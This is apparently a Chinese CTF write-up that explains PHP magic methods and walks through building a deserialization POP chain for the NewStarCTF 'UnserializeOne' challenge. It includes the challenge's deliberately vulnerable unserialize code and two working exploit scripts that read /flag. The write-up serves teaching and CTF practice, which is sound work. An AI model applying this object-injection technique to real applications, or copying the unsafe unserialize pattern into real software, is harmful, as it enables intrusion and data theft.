PHP反序列化构造POP链
常用魔术方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__call() //在对象上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
|
具体用法
__construct和__destruct
前者和后者分别为类的构造函数和析构函数,__construct
在类创建时被调用,__destruct
在类删除前被调用
__sleep和__wakeup
与类的序列化有关,序列化前会调用__sleep
,使用反序列化恢复对象调用__wakeup
__toString
对类的对象进行字符串操作时,会被调用
和字符串相加
1
2
3
4
5
6
7
8
9
10
|
<?php
class a {
public function __toString() {
echo "string";
return "aa";
}
}
$b = new a;
$b . 'str';
|
结果输出string
echo或print对象
1
2
3
4
5
6
7
8
9
10
11
|
<?php
class a {
public function __toString() {
echo "string";
return "aa";
}
}
$b = new a;
echo $b;
//print $b;
|
输出stringaa
__call、__get和__set
调用类中不存在的方法时就会调用__call
1
2
3
4
5
6
7
8
9
|
<?php
class a {
public function __call($method, $args) {
echo "call function: $method()" ;
}
}
$b = new a;
$b->func();
|
输出call function:fun()
__get
则是访问类的成员变量不存在的时调用,__set
在设置类的成员变量(如:赋值)不存在的时调用
例题NewStarCTF 公开赛UnserializeOne
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
|
逐步拆解
在此题中很明显有个关键语句:echo file_get_contents('/flag');
所以我们最终目的便是要触发Sec类里的__invoke魔术方法即可获取flag
先从入口正推pop链
pop链构造题中最常见的入口就是__destruct(),此函数在对象销毁时立刻触发(可以直接理解为new该对象时直接触发该方法),所以我们第一步便是创建一个变量实现Start类:
此时会触发__destruct()函数:
1
2
3
4
|
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
|
发现有对字符串进行操作,联想到__tostring
方法,所以我们寻找含有该魔术方法的类即Sec类
第二步:
1
|
$res->name = new Sec();
|
1
2
3
4
5
|
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
|
这里调用check函数是不存在的,联想到__call
函数,找到Easy这个类
第三步:
1
|
$res->name->obj = new Easy();
|
1
2
3
4
|
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
|
这里调用clone,会触发下面的__clone
方法,所以用eeee这个类
第四步:
1
|
$res->name->var = new eeee();
|
1
2
3
4
5
6
|
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
|
调用了isset函数,会触发上面的__isset
方法,回到Start这个类
第五步:
1
|
$res->name->var->obj = new Start();
|
1
2
3
4
|
public function __isset($var)
{
($this->func)();
}
|
这里把func当函数调用会触发__invoke
方法,回到Sec类
最后一步:
1
|
$res->name->var->obj->func = new Sec();
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$res = new Start();
$res->name = new Sec();
$res->name->obj = new Easy();
$res->name->var = new eeee();
$res->name->var->obj = new Start();
$res->name->var->obj->func = new Sec();
echo serialize($res);
|

另一种exp(逆推)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a = new Sec();
$b = new Start();
$b->func = $a;
$c = new eeee();
$c->obj = $b;
$d = new Sec();
$e = new Easy();
$d->obj = $e;
$d->var = $c;
$f = new Start();
$f->name = $d;
echo serialize($f);
|